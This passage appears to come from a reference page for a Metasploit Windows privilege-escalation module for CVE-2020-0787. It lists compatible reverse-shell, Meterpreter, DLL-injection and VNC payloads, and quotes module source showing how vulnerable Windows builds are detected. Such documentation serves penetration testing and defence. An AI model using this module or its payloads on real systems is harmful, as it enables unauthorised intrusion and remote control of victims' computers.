   59   payload/windows/meterpreter/reverse_winhttps                                 normal  No     Windows Meterpreter (Reflective Injection), Windows Reverse HTTPS Stager (winhttp)
   60   payload/windows/meterpreter_bind_named_pipe                                  normal  No     Windows Meterpreter Shell, Bind Named Pipe Inline
   61   payload/windows/meterpreter_bind_tcp                                         normal  No     Windows Meterpreter Shell, Bind TCP Inline
   62   payload/windows/meterpreter_reverse_http                                     normal  No     Windows Meterpreter Shell, Reverse HTTP Inline
   63   payload/windows/meterpreter_reverse_https                                    normal  No     Windows Meterpreter Shell, Reverse HTTPS Inline
   64   payload/windows/meterpreter_reverse_ipv6_tcp                                 normal  No     Windows Meterpreter Shell, Reverse TCP Inline (IPv6)
   65   payload/windows/meterpreter_reverse_tcp                                      normal  No     Windows Meterpreter Shell, Reverse TCP Inline
   66   payload/windows/metsvc_bind_tcp                                              normal  No     Windows Meterpreter Service, Bind TCP
   67   payload/windows/metsvc_reverse_tcp                                           normal  No     Windows Meterpreter Service, Reverse TCP Inline
   68   payload/windows/patchupdllinject/bind_hidden_ipknock_tcp                     normal  No     Windows Inject DLL, Hidden Bind Ipknock TCP Stager
   69   payload/windows/patchupdllinject/bind_hidden_tcp                             normal  No     Windows Inject DLL, Hidden Bind TCP Stager
   70   payload/windows/patchupdllinject/bind_ipv6_tcp                               normal  No     Windows Inject DLL, Bind IPv6 TCP Stager (Windows x86)
   71   payload/windows/patchupdllinject/bind_ipv6_tcp_uuid                          normal  No     Windows Inject DLL, Bind IPv6 TCP Stager with UUID Support (Windows x86)
   72   payload/windows/patchupdllinject/bind_named_pipe                             normal  No     Windows Inject DLL, Windows x86 Bind Named Pipe Stager
   73   payload/windows/patchupdllinject/bind_nonx_tcp                               normal  No     Windows Inject DLL, Bind TCP Stager (No NX or Win7)
   74   payload/windows/patchupdllinject/bind_tcp                                    normal  No     Windows Inject DLL, Bind TCP Stager (Windows x86)
   75   payload/windows/patchupdllinject/bind_tcp_rc4                                normal  No     Windows Inject DLL, Bind TCP Stager (RC4 Stage Encryption, Metasm)
   76   payload/windows/patchupdllinject/bind_tcp_uuid                               normal  No     Windows Inject DLL, Bind TCP Stager with UUID Support (Windows x86)
   77   payload/windows/patchupdllinject/reverse_ipv6_tcp                            normal  No     Windows Inject DLL, Reverse TCP Stager (IPv6)
   78   payload/windows/patchupdllinject/reverse_nonx_tcp                            normal  No     Windows Inject DLL, Reverse TCP Stager (No NX or Win7)
   79   payload/windows/patchupdllinject/reverse_ord_tcp                             normal  No     Windows Inject DLL, Reverse Ordinal TCP Stager (No NX or Win7)
   80   payload/windows/patchupdllinject/reverse_tcp                                 normal  No     Windows Inject DLL, Reverse TCP Stager
   81   payload/windows/patchupdllinject/reverse_tcp_allports                        normal  No     Windows Inject DLL, Reverse All-Port TCP Stager
   82   payload/windows/patchupdllinject/reverse_tcp_dns                             normal  No     Windows Inject DLL, Reverse TCP Stager (DNS)
   83   payload/windows/patchupdllinject/reverse_tcp_rc4                             normal  No     Windows Inject DLL, Reverse TCP Stager (RC4 Stage Encryption, Metasm)
   84   payload/windows/patchupdllinject/reverse_tcp_rc4_dns                         normal  No     Windows Inject DLL, Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)
   85   payload/windows/patchupdllinject/reverse_tcp_uuid                            normal  No     Windows Inject DLL, Reverse TCP Stager with UUID Support
   86   payload/windows/patchupmeterpreter/bind_hidden_ipknock_tcp                   normal  No     Windows Meterpreter (skape/jt Injection), Hidden Bind Ipknock TCP Stager
   87   payload/windows/patchupmeterpreter/bind_hidden_tcp                           normal  No     Windows Meterpreter (skape/jt Injection), Hidden Bind TCP Stager
   88   payload/windows/patchupmeterpreter/bind_ipv6_tcp                             normal  No     Windows Meterpreter (skape/jt Injection), Bind IPv6 TCP Stager (Windows x86)
   89   payload/windows/patchupmeterpreter/bind_ipv6_tcp_uuid                        normal  No     Windows Meterpreter (skape/jt Injection), Bind IPv6 TCP Stager with UUID Support (Windows x86)
   90   payload/windows/patchupmeterpreter/bind_named_pipe                           normal  No     Windows Meterpreter (skape/jt Injection), Windows x86 Bind Named Pipe Stager
   91   payload/windows/patchupmeterpreter/bind_nonx_tcp                             normal  No     Windows Meterpreter (skape/jt Injection), Bind TCP Stager (No NX or Win7)
   92   payload/windows/patchupmeterpreter/bind_tcp                                  normal  No     Windows Meterpreter (skape/jt Injection), Bind TCP Stager (Windows x86)
   93   payload/windows/patchupmeterpreter/bind_tcp_rc4                              normal  No     Windows Meterpreter (skape/jt Injection), Bind TCP Stager (RC4 Stage Encryption, Metasm)
   94   payload/windows/patchupmeterpreter/bind_tcp_uuid                             normal  No     Windows Meterpreter (skape/jt Injection), Bind TCP Stager with UUID Support (Windows x86)
   95   payload/windows/patchupmeterpreter/reverse_ipv6_tcp                          normal  No     Windows Meterpreter (skape/jt Injection), Reverse TCP Stager (IPv6)
   96   payload/windows/patchupmeterpreter/reverse_nonx_tcp                          normal  No     Windows Meterpreter (skape/jt Injection), Reverse TCP Stager (No NX or Win7)
   97   payload/windows/patchupmeterpreter/reverse_ord_tcp                           normal  No     Windows Meterpreter (skape/jt Injection), Reverse Ordinal TCP Stager (No NX or Win7)
   98   payload/windows/patchupmeterpreter/reverse_tcp                               normal  No     Windows Meterpreter (skape/jt Injection), Reverse TCP Stager
   99   payload/windows/patchupmeterpreter/reverse_tcp_allports                      normal  No     Windows Meterpreter (skape/jt Injection), Reverse All-Port TCP Stager
   100  payload/windows/patchupmeterpreter/reverse_tcp_dns                           normal  No     Windows Meterpreter (skape/jt Injection), Reverse TCP Stager (DNS)
   101  payload/windows/patchupmeterpreter/reverse_tcp_rc4                           normal  No     Windows Meterpreter (skape/jt Injection), Reverse TCP Stager (RC4 Stage Encryption, Metasm)
   102  payload/windows/patchupmeterpreter/reverse_tcp_rc4_dns                       normal  No     Windows Meterpreter (skape/jt Injection), Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)
   103  payload/windows/patchupmeterpreter/reverse_tcp_uuid                          normal  No     Windows Meterpreter (skape/jt Injection), Reverse TCP Stager with UUID Support
   104  payload/windows/peinject/bind_hidden_ipknock_tcp                             normal  No     Windows Inject PE Files, Hidden Bind Ipknock TCP Stager
   105  payload/windows/peinject/bind_hidden_tcp                                     normal  No     Windows Inject PE Files, Hidden Bind TCP Stager
   106  payload/windows/peinject/bind_ipv6_tcp                                       normal  No     Windows Inject PE Files, Bind IPv6 TCP Stager (Windows x86)
   107  payload/windows/peinject/bind_ipv6_tcp_uuid                                  normal  No     Windows Inject PE Files, Bind IPv6 TCP Stager with UUID Support (Windows x86)
   108  payload/windows/peinject/bind_named_pipe                                     normal  No     Windows Inject PE Files, Windows x86 Bind Named Pipe Stager
   109  payload/windows/peinject/bind_nonx_tcp                                       normal  No     Windows Inject PE Files, Bind TCP Stager (No NX or Win7)
   110  payload/windows/peinject/bind_tcp                                            normal  No     Windows Inject PE Files, Bind TCP Stager (Windows x86)
   111  payload/windows/peinject/bind_tcp_rc4                                        normal  No     Windows Inject PE Files, Bind TCP Stager (RC4 Stage Encryption, Metasm)
   112  payload/windows/peinject/bind_tcp_uuid                                       normal  No     Windows Inject PE Files, Bind TCP Stager with UUID Support (Windows x86)
   113  payload/windows/peinject/reverse_ipv6_tcp                                    normal  No     Windows Inject PE Files, Reverse TCP Stager (IPv6)
   114  payload/windows/peinject/reverse_named_pipe                                  normal  No     Windows Inject PE Files, Windows x86 Reverse Named Pipe (SMB) Stager
   115  payload/windows/peinject/reverse_nonx_tcp                                    normal  No     Windows Inject PE Files, Reverse TCP Stager (No NX or Win7)
   116  payload/windows/peinject/reverse_ord_tcp                                     normal  No     Windows Inject PE Files, Reverse Ordinal TCP Stager (No NX or Win7)
   117  payload/windows/peinject/reverse_tcp                                         normal  No     Windows Inject PE Files, Reverse TCP Stager
   118  payload/windows/peinject/reverse_tcp_allports                                normal  No     Windows Inject PE Files, Reverse All-Port TCP Stager
   119  payload/windows/peinject/reverse_tcp_dns                                     normal  No     Windows Inject PE Files, Reverse TCP Stager (DNS)
   120  payload/windows/peinject/reverse_tcp_rc4                                     normal  No     Windows Inject PE Files, Reverse TCP Stager (RC4 Stage Encryption, Metasm)
   121  payload/windows/peinject/reverse_tcp_rc4_dns                                 normal  No     Windows Inject PE Files, Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)
   122  payload/windows/peinject/reverse_tcp_uuid                                    normal  No     Windows Inject PE Files, Reverse TCP Stager with UUID Support
   123  payload/windows/powershell_bind_tcp                                          normal  No     Windows Interactive Powershell Session, Bind TCP
   124  payload/windows/powershell_reverse_tcp                                       normal  No     Windows Interactive Powershell Session, Reverse TCP
   125  payload/windows/shell/bind_hidden_ipknock_tcp                                normal  No     Windows Command Shell, Hidden Bind Ipknock TCP Stager
   126  payload/windows/shell/bind_hidden_tcp                                        normal  No     Windows Command Shell, Hidden Bind TCP Stager
   127  payload/windows/shell/bind_ipv6_tcp                                          normal  No     Windows Command Shell, Bind IPv6 TCP Stager (Windows x86)
   128  payload/windows/shell/bind_ipv6_tcp_uuid                                     normal  No     Windows Command Shell, Bind IPv6 TCP Stager with UUID Support (Windows x86)
   129  payload/windows/shell/bind_named_pipe                                        normal  No     Windows Command Shell, Windows x86 Bind Named Pipe Stager
   130  payload/windows/shell/bind_nonx_tcp                                          normal  No     Windows Command Shell, Bind TCP Stager (No NX or Win7)
   131  payload/windows/shell/bind_tcp                                               normal  No     Windows Command Shell, Bind TCP Stager (Windows x86)
   132  payload/windows/shell/bind_tcp_rc4                                           normal  No     Windows Command Shell, Bind TCP Stager (RC4 Stage Encryption, Metasm)
   133  payload/windows/shell/bind_tcp_uuid                                          normal  No     Windows Command Shell, Bind TCP Stager with UUID Support (Windows x86)
   134  payload/windows/shell/reverse_ipv6_tcp                                       normal  No     Windows Command Shell, Reverse TCP Stager (IPv6)
   135  payload/windows/shell/reverse_nonx_tcp                                       normal  No     Windows Command Shell, Reverse TCP Stager (No NX or Win7)
   136  payload/windows/shell/reverse_ord_tcp                                        normal  No     Windows Command Shell, Reverse Ordinal TCP Stager (No NX or Win7)
   137  payload/windows/shell/reverse_tcp                                            normal  No     Windows Command Shell, Reverse TCP Stager
   138  payload/windows/shell/reverse_tcp_allports                                   normal  No     Windows Command Shell, Reverse All-Port TCP Stager
   139  payload/windows/shell/reverse_tcp_dns                                        normal  No     Windows Command Shell, Reverse TCP Stager (DNS)
   140  payload/windows/shell/reverse_tcp_rc4                                        normal  No     Windows Command Shell, Reverse TCP Stager (RC4 Stage Encryption, Metasm)
   141  payload/windows/shell/reverse_tcp_rc4_dns                                    normal  No     Windows Command Shell, Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)
   142  payload/windows/shell/reverse_tcp_uuid                                       normal  No     Windows Command Shell, Reverse TCP Stager with UUID Support
   143  payload/windows/shell/reverse_udp                                            normal  No     Windows Command Shell, Reverse UDP Stager with UUID Support
   144  payload/windows/shell_bind_tcp                                               normal  No     Windows Command Shell, Bind TCP Inline
   145  payload/windows/shell_bind_tcp_xpfw                                          normal  No     Windows Disable Windows ICF, Command Shell, Bind TCP Inline
   146  payload/windows/shell_hidden_bind_tcp                                        normal  No     Windows Command Shell, Hidden Bind TCP Inline
   147  payload/windows/shell_reverse_tcp                                            normal  No     Windows Command Shell, Reverse TCP Inline
   148  payload/windows/speak_pwned                                                  normal  No     Windows Speech API - Say "You Got Pwned!"
   149  payload/windows/upexec/bind_hidden_ipknock_tcp                               normal  No     Windows Upload/Execute, Hidden Bind Ipknock TCP Stager
   150  payload/windows/upexec/bind_hidden_tcp                                       normal  No     Windows Upload/Execute, Hidden Bind TCP Stager
   151  payload/windows/upexec/bind_ipv6_tcp                                         normal  No     Windows Upload/Execute, Bind IPv6 TCP Stager (Windows x86)
   152  payload/windows/upexec/bind_ipv6_tcp_uuid                                    normal  No     Windows Upload/Execute, Bind IPv6 TCP Stager with UUID Support (Windows x86)
   153  payload/windows/upexec/bind_named_pipe                                       normal  No     Windows Upload/Execute, Windows x86 Bind Named Pipe Stager
   154  payload/windows/upexec/bind_nonx_tcp                                         normal  No     Windows Upload/Execute, Bind TCP Stager (No NX or Win7)
   155  payload/windows/upexec/bind_tcp                                              normal  No     Windows Upload/Execute, Bind TCP Stager (Windows x86)
   156  payload/windows/upexec/bind_tcp_rc4                                          normal  No     Windows Upload/Execute, Bind TCP Stager (RC4 Stage Encryption, Metasm)
   157  payload/windows/upexec/bind_tcp_uuid                                         normal  No     Windows Upload/Execute, Bind TCP Stager with UUID Support (Windows x86)
   158  payload/windows/upexec/reverse_ipv6_tcp                                      normal  No     Windows Upload/Execute, Reverse TCP Stager (IPv6)
   159  payload/windows/upexec/reverse_nonx_tcp                                      normal  No     Windows Upload/Execute, Reverse TCP Stager (No NX or Win7)
   160  payload/windows/upexec/reverse_ord_tcp                                       normal  No     Windows Upload/Execute, Reverse Ordinal TCP Stager (No NX or Win7)
   161  payload/windows/upexec/reverse_tcp                                           normal  No     Windows Upload/Execute, Reverse TCP Stager
   162  payload/windows/upexec/reverse_tcp_allports                                  normal  No     Windows Upload/Execute, Reverse All-Port TCP Stager
   163  payload/windows/upexec/reverse_tcp_dns                                       normal  No     Windows Upload/Execute, Reverse TCP Stager (DNS)
   164  payload/windows/upexec/reverse_tcp_rc4                                       normal  No     Windows Upload/Execute, Reverse TCP Stager (RC4 Stage Encryption, Metasm)
   165  payload/windows/upexec/reverse_tcp_rc4_dns                                   normal  No     Windows Upload/Execute, Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)
   166  payload/windows/upexec/reverse_tcp_uuid                                      normal  No     Windows Upload/Execute, Reverse TCP Stager with UUID Support
   167  payload/windows/upexec/reverse_udp                                           normal  No     Windows Upload/Execute, Reverse UDP Stager with UUID Support
   168  payload/windows/vncinject/bind_hidden_ipknock_tcp                            normal  No     VNC Server (Reflective Injection), Hidden Bind Ipknock TCP Stager
   169  payload/windows/vncinject/bind_hidden_tcp                                    normal  No     VNC Server (Reflective Injection), Hidden Bind TCP Stager
   170  payload/windows/vncinject/bind_ipv6_tcp                                      normal  No     VNC Server (Reflective Injection), Bind IPv6 TCP Stager (Windows x86)
   171  payload/windows/vncinject/bind_ipv6_tcp_uuid                                 normal  No     VNC Server (Reflective Injection), Bind IPv6 TCP Stager with UUID Support (Windows x86)
   172  payload/windows/vncinject/bind_named_pipe                                    normal  No     VNC Server (Reflective Injection), Windows x86 Bind Named Pipe Stager
   173  payload/windows/vncinject/bind_nonx_tcp                                      normal  No     VNC Server (Reflective Injection), Bind TCP Stager (No NX or Win7)
   174  payload/windows/vncinject/bind_tcp                                           normal  No     VNC Server (Reflective Injection), Bind TCP Stager (Windows x86)
   175  payload/windows/vncinject/bind_tcp_rc4                                       normal  No     VNC Server (Reflective Injection), Bind TCP Stager (RC4 Stage Encryption, Metasm)
   176  payload/windows/vncinject/bind_tcp_uuid                                      normal  No     VNC Server (Reflective Injection), Bind TCP Stager with UUID Support (Windows x86)
   177  payload/windows/vncinject/reverse_hop_http                                   normal  No     VNC Server (Reflective Injection), Reverse Hop HTTP/HTTPS Stager
   178  payload/windows/vncinject/reverse_http                                       normal  No     VNC Server (Reflective Injection), Windows Reverse HTTP Stager (wininet)
   179  payload/windows/vncinject/reverse_http_proxy_pstore                          normal  No     VNC Server (Reflective Injection), Reverse HTTP Stager Proxy
   180  payload/windows/vncinject/reverse_ipv6_tcp                                   normal  No     VNC Server (Reflective Injection), Reverse TCP Stager (IPv6)
   181  payload/windows/vncinject/reverse_nonx_tcp                                   normal  No     VNC Server (Reflective Injection), Reverse TCP Stager (No NX or Win7)
   182  payload/windows/vncinject/reverse_ord_tcp                                    normal  No     VNC Server (Reflective Injection), Reverse Ordinal TCP Stager (No NX or Win7)
   183  payload/windows/vncinject/reverse_tcp                                        normal  No     VNC Server (Reflective Injection), Reverse TCP Stager
   184  payload/windows/vncinject/reverse_tcp_allports                               normal  No     VNC Server (Reflective Injection), Reverse All-Port TCP Stager
   185  payload/windows/vncinject/reverse_tcp_dns                                    normal  No     VNC Server (Reflective Injection), Reverse TCP Stager (DNS)
   186  payload/windows/vncinject/reverse_tcp_rc4                                    normal  No     VNC Server (Reflective Injection), Reverse TCP Stager (RC4 Stage Encryption, Metasm)
   187  payload/windows/vncinject/reverse_tcp_rc4_dns                                normal  No     VNC Server (Reflective Injection), Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)
   188  payload/windows/vncinject/reverse_tcp_uuid                                   normal  No     VNC Server (Reflective Injection), Reverse TCP Stager with UUID Support
   189  payload/windows/vncinject/reverse_winhttp                                    normal  No     VNC Server (Reflective Injection), Windows Reverse HTTP Stager (winhttp)
   190  payload/windows/x64/exec                                                     normal  No     Windows x64 Execute Command
   191  payload/windows/x64/loadlibrary                                              normal  No     Windows x64 LoadLibrary Path
   192  payload/windows/x64/messagebox                                               normal  No     Windows MessageBox x64
   193  payload/windows/x64/meterpreter/bind_ipv6_tcp                                normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 IPv6 Bind TCP Stager
   194  payload/windows/x64/meterpreter/bind_ipv6_tcp_uuid                           normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 IPv6 Bind TCP Stager with UUID Support
   195  payload/windows/x64/meterpreter/bind_named_pipe                              normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 Bind Named Pipe Stager
   196  payload/windows/x64/meterpreter/bind_tcp                                     normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 Bind TCP Stager
   197  payload/windows/x64/meterpreter/bind_tcp_rc4                                 normal  No     Windows Meterpreter (Reflective Injection x64), Bind TCP Stager (RC4 Stage Encryption, Metasm)
   198  payload/windows/x64/meterpreter/bind_tcp_uuid                                normal  No     Windows Meterpreter (Reflective Injection x64), Bind TCP Stager with UUID Support (Windows x64)
   199  payload/windows/x64/meterpreter/reverse_http                                 normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTP Stager (wininet)
   200  payload/windows/x64/meterpreter/reverse_https                                normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTP Stager (wininet)
   201  payload/windows/x64/meterpreter/reverse_named_pipe                           normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse Named Pipe (SMB) Stager
   202  payload/windows/x64/meterpreter/reverse_tcp                                  normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse TCP Stager
   203  payload/windows/x64/meterpreter/reverse_tcp_rc4                              normal  No     Windows Meterpreter (Reflective Injection x64), Reverse TCP Stager (RC4 Stage Encryption, Metasm)
   204  payload/windows/x64/meterpreter/reverse_tcp_uuid                             normal  No     Windows Meterpreter (Reflective Injection x64), Reverse TCP Stager with UUID Support (Windows x64)
   205  payload/windows/x64/meterpreter/reverse_winhttp                              normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTP Stager (winhttp)
   206  payload/windows/x64/meterpreter/reverse_winhttps                             normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTPS Stager (winhttp)
   207  payload/windows/x64/meterpreter_bind_named_pipe                              normal  No     Windows Meterpreter Shell, Bind Named Pipe Inline (x64)
   208  payload/windows/x64/meterpreter_bind_tcp                                     normal  No     Windows Meterpreter Shell, Bind TCP Inline (x64)
   209  payload/windows/x64/meterpreter_reverse_http                                 normal  No     Windows Meterpreter Shell, Reverse HTTP Inline (x64)
   210  payload/windows/x64/meterpreter_reverse_https                                normal  No     Windows Meterpreter Shell, Reverse HTTPS Inline (x64)
   211  payload/windows/x64/meterpreter_reverse_ipv6_tcp                             normal  No     Windows Meterpreter Shell, Reverse TCP Inline (IPv6) (x64)
   212  payload/windows/x64/meterpreter_reverse_tcp                                  normal  No     Windows Meterpreter Shell, Reverse TCP Inline x64
   213  payload/windows/x64/peinject/bind_ipv6_tcp                                   normal  No     Windows Inject Reflective PE Files, Windows x64 IPv6 Bind TCP Stager
   214  payload/windows/x64/peinject/bind_ipv6_tcp_uuid                              normal  No     Windows Inject Reflective PE Files, Windows x64 IPv6 Bind TCP Stager with UUID Support
   215  payload/windows/x64/peinject/bind_named_pipe                                 normal  No     Windows Inject Reflective PE Files, Windows x64 Bind Named Pipe Stager
   216  payload/windows/x64/peinject/bind_tcp                                        normal  No     Windows Inject Reflective PE Files, Windows x64 Bind TCP Stager
   217  payload/windows/x64/peinject/bind_tcp_rc4                                    normal  No     Windows Inject Reflective PE Files, Bind TCP Stager (RC4 Stage Encryption, Metasm)
   218  payload/windows/x64/peinject/bind_tcp_uuid                                   normal  No     Windows Inject Reflective PE Files, Bind TCP Stager with UUID Support (Windows x64)
   219  payload/windows/x64/peinject/reverse_named_pipe                              normal  No     Windows Inject Reflective PE Files, Windows x64 Reverse Named Pipe (SMB) Stager
   220  payload/windows/x64/peinject/reverse_tcp                                     normal  No     Windows Inject Reflective PE Files, Windows x64 Reverse TCP Stager
   221  payload/windows/x64/peinject/reverse_tcp_rc4                                 normal  No     Windows Inject Reflective PE Files, Reverse TCP Stager (RC4 Stage Encryption, Metasm)
   222  payload/windows/x64/peinject/reverse_tcp_uuid                                normal  No     Windows Inject Reflective PE Files, Reverse TCP Stager with UUID Support (Windows x64)
   223  payload/windows/x64/powershell_bind_tcp                                      normal  No     Windows Interactive Powershell Session, Bind TCP
   224  payload/windows/x64/powershell_reverse_tcp                                   normal  No     Windows Interactive Powershell Session, Reverse TCP
   225  payload/windows/x64/shell/bind_ipv6_tcp                                      normal  No     Windows x64 Command Shell, Windows x64 IPv6 Bind TCP Stager
   226  payload/windows/x64/shell/bind_ipv6_tcp_uuid                                 normal  No     Windows x64 Command Shell, Windows x64 IPv6 Bind TCP Stager with UUID Support
   227  payload/windows/x64/shell/bind_named_pipe                                    normal  No     Windows x64 Command Shell, Windows x64 Bind Named Pipe Stager
   228  payload/windows/x64/shell/bind_tcp                                           normal  No     Windows x64 Command Shell, Windows x64 Bind TCP Stager
   229  payload/windows/x64/shell/bind_tcp_rc4                                       normal  No     Windows x64 Command Shell, Bind TCP Stager (RC4 Stage Encryption, Metasm)
   230  payload/windows/x64/shell/bind_tcp_uuid                                      normal  No     Windows x64 Command Shell, Bind TCP Stager with UUID Support (Windows x64)
   231  payload/windows/x64/shell/reverse_tcp                                        normal  No     Windows x64 Command Shell, Windows x64 Reverse TCP Stager
   232  payload/windows/x64/shell/reverse_tcp_rc4                                    normal  No     Windows x64 Command Shell, Reverse TCP Stager (RC4 Stage Encryption, Metasm)
   233  payload/windows/x64/shell/reverse_tcp_uuid                                   normal  No     Windows x64 Command Shell, Reverse TCP Stager with UUID Support (Windows x64)
   234  payload/windows/x64/shell_bind_tcp                                           normal  No     Windows x64 Command Shell, Bind TCP Inline
   235  payload/windows/x64/shell_reverse_tcp                                        normal  No     Windows x64 Command Shell, Reverse TCP Inline
   236  payload/windows/x64/vncinject/bind_ipv6_tcp                                  normal  No     Windows x64 VNC Server (Reflective Injection), Windows x64 IPv6 Bind TCP Stager
   237  payload/windows/x64/vncinject/bind_ipv6_tcp_uuid                             normal  No     Windows x64 VNC Server (Reflective Injection), Windows x64 IPv6 Bind TCP Stager with UUID Support
   238  payload/windows/x64/vncinject/bind_named_pipe                                normal  No     Windows x64 VNC Server (Reflective Injection), Windows x64 Bind Named Pipe Stager
   239  payload/windows/x64/vncinject/bind_tcp                                       normal  No     Windows x64 VNC Server (Reflective Injection), Windows x64 Bind TCP Stager
   240  payload/windows/x64/vncinject/bind_tcp_rc4                                   normal  No     Windows x64 VNC Server (Reflective Injection), Bind TCP Stager (RC4 Stage Encryption, Metasm)
   241  payload/windows/x64/vncinject/bind_tcp_uuid                                  normal  No     Windows x64 VNC Server (Reflective Injection), Bind TCP Stager with UUID Support (Windows x64)
   242  payload/windows/x64/vncinject/reverse_http                                   normal  No     Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse HTTP Stager (wininet)
   243  payload/windows/x64/vncinject/reverse_https                                  normal  No     Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse HTTP Stager (wininet)
   244  payload/windows/x64/vncinject/reverse_tcp                                    normal  No     Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse TCP Stager
   245  payload/windows/x64/vncinject/reverse_tcp_rc4                                normal  No     Windows x64 VNC Server (Reflective Injection), Reverse TCP Stager (RC4 Stage Encryption, Metasm)
   246  payload/windows/x64/vncinject/reverse_tcp_uuid                               normal  No     Windows x64 VNC Server (Reflective Injection), Reverse TCP Stager with UUID Support (Windows x64)
   247  payload/windows/x64/vncinject/reverse_winhttp                                normal  No     Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse HTTP Stager (winhttp)
   248  payload/windows/x64/vncinject/reverse_winhttps                               normal  No     Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse HTTPS Stager (winhttp)

Evasion Options


Here is the full list of possible evasion options supported by the windows/local/cve_2020_0787_bits_arbitrary_file_move exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 exploit(windows/local/cve_2020_0787_bits_arbitrary_file_move) > show evasion

Module evasion options:

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------

Go back to menu.

Error Messages


This module may fail with the following error messages:

Error Messages

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

This target is not presently supported by this exploit. Support may be added in the future!


Here is a relevant code snippet related to the "This target is not presently supported by this exploit. Support may be added in the future!" error message:

81:	      OptInt.new('JOB_WAIT_TIME', [true, 'Time to wait for the BITS job to complete before starting the USO service to execute the uploaded payload, in seconds', 20])
82:	    ])
83:	  end
84:	
85:	  def target_not_presently_supported
86:	    print_warning('This target is not presently supported by this exploit. Support may be added in the future!')
87:	    print_warning('Attempts to exploit this target with this module WILL NOT WORK!')
88:	  end
89:	
90:	  def check
91:	    sysinfo_value = sysinfo['OS']

Attempts to exploit this target with this module WILL NOT WORK!


Here is a relevant code snippet related to the "Attempts to exploit this target with this module WILL NOT WORK!" error message:

82:	    ])
83:	  end
84:	
85:	  def target_not_presently_supported
86:	    print_warning('This target is not presently supported by this exploit. Support may be added in the future!')
87:	    print_warning('Attempts to exploit this target with this module WILL NOT WORK!')
88:	  end
89:	
90:	  def check
91:	    sysinfo_value = sysinfo['OS']
92:	

Target is not a Windows system, so it is not affected by this vulnerability!


Here is a relevant code snippet related to the "Target is not a Windows system, so it is not affected by this vulnerability!" error message:

90:	  def check
91:	    sysinfo_value = sysinfo['OS']
92:	
93:	    if sysinfo_value !~ /windows/i
94:	      # Non-Windows systems are definitely not affected.
95:	      return CheckCode::Safe('Target is not a Windows system, so it is not affected by this vulnerability!')
96:	    end
97:	
98:	    # XXX Using session.shell_command_token over cmd_exec() here as @wvu-r7 noticed cmd_exec() was broken under some situations.
99:	    build_num_raw = session.shell_command_token('cmd.exe /c ver')
100:	    build_num = build_num_raw.match(/\d+\.\d+\.\d+\.\d+/)

Couldn't retrieve the target's build number!


Here is a relevant code snippet related to the "Couldn't retrieve the target's build number!" error message:

97:	
98:	    # XXX Using session.shell_command_token over cmd_exec() here as @wvu-r7 noticed cmd_exec() was broken under some situations.
99:	    build_num_raw = session.shell_command_token('cmd.exe /c ver')
100:	    build_num = build_num_raw.match(/\d+\.\d+\.\d+\.\d+/)
101:	    if build_num.nil?
102:	      print_error("Couldn't retrieve the target's build number!")
103:	    else
104:	      build_num = build_num_raw.match(/\d+\.\d+\.\d+\.\d+/)[0]
105:	      print_status("Target's build number: #{build_num}")
106:	    end
107:	

Target is not running a vulnerable version of Windows!


Here is a relevant code snippet related to the "Target is not running a vulnerable version of Windows!" error message:

105:	      print_status("Target's build number: #{build_num}")
106:	    end
107:	
108:	    # see https://docs.microsoft.com/en-us/windows/release-information/
109:	    unless sysinfo_value =~ /(7|8|8\.1|10|2008|2012|2016|2019|1803|1903)/
110:	      return CheckCode::Safe('Target is not running a vulnerable version of Windows!')
111:	    end
112:	
113:	    build_num_gemversion = Rex::Version.new(build_num)
114:	
115:	    # Build numbers taken from https://www.qualys.com/research/security-alerts/2020-03-10/microsoft/

Vulnerable Windows 10 v1909 build detected!


Here is a relevant code snippet related to the "Vulnerable Windows 10 v1909 build detected!" error message:

112:	
113:	    build_num_gemversion = Rex::Version.new(build_num)
114:	
115:	    # Build numbers taken from https://www.qualys.com/research/security-alerts/2020-03-10/microsoft/
116:	    if (build_num_gemversion >= Rex::Version.new('10.0.18363.0')) && (build_num_gemversion < Rex::Version.new('10.0.18363.719')) # Windows 10 v1909
117:	      return CheckCode::Appears('Vulnerable Windows 10 v1909 build detected!')
118:	    elsif (build_num_gemversion >= Rex::Version.new('10.0.18362.0')) && (build_num_gemversion < Rex::Version.new('10.0.18362.719')) # Windows 10 v1903
119:	      return CheckCode::Appears('Vulnerable Windows 10 v1903 build detected!')
120:	    elsif (build_num_gemversion >= Rex::Version.new('10.0.17763.0')) && (build_num_gemversion < Rex::Version.new('10.0.17763.1098')) # Windows 10 v1809
121:	      return CheckCode::Appears('Vulnerable Windows 10 v1809 build detected!')
122:	    elsif (build_num_gemversion >= Rex::Version.new('10.0.17134.0')) && (build_num_gemversion < Rex::Version.new('10.0.17134.1365')) # Windows 10 v1803

Vulnerable Windows 10 v1903 build detected!


Here is a relevant code snippet related to the "Vulnerable Windows 10 v1903 build detected!" error message:

114:	
115:	    # Build numbers taken from https://www.qualys.com/research/security-alerts/2020-03-10/microsoft/
116:	    if (build_num_gemversion >= Rex::Version.new('10.0.18363.0')) && (build_num_gemversion < Rex::Version.new('10.0.18363.719')) # Windows 10 v1909
117:	      return CheckCode::Appears('Vulnerable Windows 10 v1909 build detected!')
118:	    elsif (build_num_gemversion >= Rex::Version.new('10.0.18362.0')) && (build_num_gemversion < Rex::Version.new('10.0.18362.719')) # Windows 10 v1903
